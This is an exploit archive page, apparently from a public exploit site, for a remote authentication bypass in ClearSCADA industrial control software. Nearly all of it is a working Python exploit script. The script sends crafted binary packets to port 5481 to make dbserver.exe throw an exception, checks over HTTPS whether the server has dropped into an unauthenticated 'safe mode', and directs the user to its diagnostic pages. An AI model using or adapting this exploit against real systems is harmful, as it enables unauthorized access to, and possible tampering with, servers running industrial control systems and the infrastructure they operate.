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ClearSCADA Remote Authentication Bypass

ClearSCADA Remote Authentication Bypass
Posted Jan 29, 2015
Authored by Jeremy Brown

There is an authentication bypass vulnerability in ClearSCADA that can be exploited by triggering an exception in dbserver.exe and taking advantage of the way the program handles it.

tags | exploit, bypass
advisories | OSVDB-75022
SHA-256 | 7297622cf93f018ee50d502b4deb7ac9d83396bceed64caa328eab02705135a7

ClearSCADA Remote Authentication Bypass

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#!/usr/bin/python
# cs-auby.py
# ClearSCADA Remote Authentication Bypass Exploit
#
# Jeremy Brown
# [jbrown3264/gmail]
#
# Oct 2010 (released Jan 2015)
#
# There is an authentication bypass vulnerability in ClearSCADA that can be
# exploited by triggering an exception in dbserver.exe and taking advantage
# of the way the program handles it.
#
# When an exception in occurs, ClearSCADA enters "Safe Mode". This exposes
# it's diagnostic functions to remote users without requiring a valid login
# as it would normally. A remote attacker could view senstive information
# and possibly modify functions of the server running on the affected host.
#
# This code triggers an exception in dbserver.exe and checks to see if you
# can then access the diagnostic page without authentication.
#
# Tested on ClearSCADA 2010R1 running on Windows
#
# Fix information: http://ics-cert.us-cert.gov/advisories/ICSA-11-173-01
#

import sys
import socket
import httplib
import urllib
from time import sleep

pkt_1=(
"\xfb\x0e\x45\x06\x0e\x00\x00\x00\x18\x00\x00\x00"
"\x49\x00\x50\x00\x20\x00\x31\x00\x32\x00\x37\x00\x2e\x00\x30\x00"
"\x2e\x00\x30\x00\x2e\x00\x31\x00\x2c\x00\x20\x00\x53\x00\x65\x00"
"\x73\x00\x73\x00\x69\x00\x6f\x00\x6e\x00\x20\x00\x30\x00\x00\x00"
"\x08\x00\x00\x00"
)

pkt_2=(
"\x00\x00\x00\x00"
"\x26\x00\x00\x00"
"\x08\x00\x00\x00\x0f\x00\x00\x00\x43\x00\x72\x00\x79\x00\x73\x00"
"\x74\x00\x61\x00\x6c\x00\x52\x00\x65\x00\x70\x00\x6f\x00\x72\x00"
"\x74\x00\x73\x00\x00\x00"
)

pkt_3=( # "Exception Occured"
"\x00\x00\x00\x00\xd7\x01\x00\x00\x34\x00\x00\x00\x0d\x00\x00\x00"
"\x09\x00\x00\x00\x43\x00\x50\x00\x72\x00\x6f\x00\x66\x00\x69\x00"
"\x6c\x00\x65\x00\x00\x00\x0e\x00\x00\x00\x43\x00\x50\x00\x72\x00"
"\x6f\x00\x66\x00\x69\x00\x6c\x00\x65\x00\x46\x00\x6c\x00\x6f\x00"
"\x61\x00\x74\x00\x00\x00\x0e\x00\x00\x00\x43\x00\x50\x00\x72\x00"
"\x6f\x00\x66\x00\x69\x00\x6c\x00\x65\x00\x55\x00\x4c\x00\x6f\x00"
"\x6e\x00\x67\x00\x00\x00\x0d\x00\x00\x00\x43\x00\x50\x00\x72\x00"
"\x6f\x00\x66\x00\x69\x00\x6c\x00\x65\x00\x4c\x00\x6f\x00\x6e\x00"
"\x67\x00\x00\x00\x10\x00\x00\x00\x43\x00\x41\x00\x64\x00\xBB\x00" # last w0rd
"\x00\x42\x00\x49\x00\x54\x00\x56\x00\x61\x00\x6c\x00\x75\x00\x65"
"\x00\x4d\x00\x61\x00\x70\x00\x00\x00\x11\x00\x00\x00\x43\x00\x41"
"\x00\x64\x00\x76\x00\x42\x00\x59\x00\x54\x00\x45\x00\x56\x00\x61"
"\x00\x6c\x00\x75\x00\x65\x00\x4d\x00\x61\x00\x70\x00\x00\x00\x11"
"\x00\x00\x00\x43\x00\x41\x00\x64\x00\x76\x00\x57\x00\x4f\x00\x52"
"\x00\x44\x00\x56\x00\x61\x00\x6c\x00\x75\x00\x65\x00\x4d\x00\x61"
"\x00\x70\x00\x00\x00\x11\x00\x00\x00\x43\x00\x41\x00\x64\x00\x76"
"\x00\x44\x00\x49\x00\x4e\x00\x54\x00\x56\x00\x61\x00\x6c\x00\x75"
"\x00\x65\x00\x4d\x00\x61\x00\x70\x00\x00\x00\x12\x00\x00\x00\x43"
"\x00\x41\x00\x64\x00\x76\x00\x55\x00\x44\x00\x49\x00\x4e\x00\x54"
"\x00\x56\x00\x61\x00\x6c\x00\x75\x00\x65\x00\x4d\x00\x61\x00\x70"
"\x00\x00\x00\x11\x00\x00\x00\x43\x00\x41\x00\x64\x00\x76\x00\x52"
"\x00\x45\x00\x41\x00\x4c\x00\x56\x00\x61\x00\x6c\x00\x75\x00\x65"
"\x00\x4d\x00\x61\x00\x70\x00\x00\x00\x13\x00\x00\x00\x43\x00\x41"
"\x00\x64\x00\x76\x00\x44\x00\x4f\x00\x55\x00\x42\x00\x4c\x00\x45"
"\x00\x56\x00\x61\x00\x6c\x00\x75\x00\x65\x00\x4d\x00\x61\x00\x70"
"\x00\x00\x00\x13\x00\x00\x00\x43\x00\x41\x00\x64\x00\x76\x00\x53"
"\x00\x74\x00\x72\x00\x69\x00\x6e\x00\x67\x00\x56\x00\x61\x00\x6c"
"\x00\x75\x00\x65\x00\x4d\x00\x61\x00\x70\x00\x00\x00\x0f\x00\x00"
"\x00\x43\x00\x43\x00\x72\x00\x79\x00\x73\x00\x74\x00\x61\x00\x6c"
"\x00\x52\x00\x65\x00\x70\x00\x6f\x00\x72\x00\x74\x00\x00\x00\x00"
)

port=5481
s_port=443


def do_ssl(target,port):
try:
conn = httplib.HTTPSConnection(target,port)
conn._http_vsn = 10
conn._http_vsn_str = "HTTP/1.0"

conn.request("GET","/diag/Info")

resp = conn.getresponse()
conn.close()

except Exception, error:
print("Error: %s" % error)
return None

return resp


def main():

if len(sys.argv)!=2:
print("Usage: %s <target>" % sys.argv[0])
sys.exit(0)

target=sys.argv[1]
cs=target,port

print "Checking server status..."

resp = do_ssl(target,s_port)

if(resp == None):
return

if(resp.status==301):
print "Server status is normal.\n"

elif(resp.status==200):
print "Server is already in safe mode."
sys.exit(1)

elif((resp.status!=301)|(resp.status!=200)):
print("Server returned %d %s, server state unknown.\nContinuing anyways..\n" % (resp.status,resp.reason))

print("Sending packets to trigger exception...\n")

try:
sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.connect(cs)

sock.send(pkt_1)
resp_1 = sock.recv(32)

sock.send(pkt_2)
resp_2 = sock.recv(32)

sock.send(pkt_3)
resp_3 = sock.recv(32)

sock.close()

except Exception, error:
print("Error: %s" % error)
return None

print("Finished, checking server status again...")

sleep(1)

resp = do_ssl(target,s_port)

if(resp == None):
return

if(resp.status==301):
print("Server status is still normal, maybe it's patched..\n")

elif(resp.status==200):
print("Server entered \"safe\" mode :)\n")
print("Surf on over to https://%s:443/diag/Info to explore" % target)

elif((resp.status!=301)|(resp.status!=200)):
print("Server returned %d %s, server state unknown." % (resp.status,resp.reason))


if __name__ == "__main__":
main()

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